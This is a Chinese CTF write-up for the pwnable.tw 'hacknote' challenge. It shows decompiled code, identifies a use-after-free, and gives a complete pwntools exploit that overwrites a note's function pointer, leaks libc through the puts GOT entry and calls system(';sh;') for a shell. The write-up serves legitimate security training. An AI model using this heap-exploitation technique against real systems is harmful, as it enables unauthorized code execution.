前言
pwnable.tw上的hacknote, 与攻防世界的hacknote类似的题目
分析过程
add函数, 还算合理
unsigned int add()
{
int v0; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&ptr + i) )
{
*(&ptr + i) = malloc(8u);
if ( !*(&ptr + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&ptr + i) = sub_804862B;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = (int)*(&ptr + i);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*((_DWORD *)*(&ptr + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&ptr + i) + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
delete函数, UAF
print函数, 通过结构体中的函数指针调用函数, 可以利用
漏洞利用
UAF修改print指针, 泄露libc, 调用system(";sh;")
from pwn import *
url, port = "chall.pwnable.tw", 10102
filename = "./hacknote"
elf = ELF(filename)
libc = ELF("./libc_32.so.6")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
context.log_level="debug"
debug = 0
if debug:
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def BK():
gdb.attach(io)
pause()
def addnote(size, content):
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)
def delnote(idx):
io.recvuntil(":")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
def printnote(idx):
io.sendlineafter(":", "3")
io.sendlineafter("Index :", str(idx))
def pwn():
puts_func = 0x0804862B
puts_got = elf.got["puts"]
addnote(24, "ZZZZ")
addnote(24, "ZZZZ")
delnote(0)
delnote(1)
addnote(8, p32(puts_func) + p32(puts_got))
printnote(0)
content = io.recv()
print(content)
puts_addr = u32(content[:4])
libc_base = puts_addr - libc.sym["puts"]
system_addr = libc.sym['system'] + libc_base
log.info("puts address: %#x" % puts_addr)
log.info("system address: %#x" % system_addr)
delnote(2)
addnote(8, p32(system_addr) + b";sh;")
printnote(0)
io.interactive()
if __name__ == "__main__":
pwn()
总结
心得
(1) system() 可以直接用 “sh”
(2) execve() 只能完整路径 “/bin/sh”
卡点
(1) 网络不稳定, 可能会有io的"条件竞争", 在接受提示之前就发送了选择, 导致io出错, 本来可以打通, 结果打不通, 所以建议sendlineafter()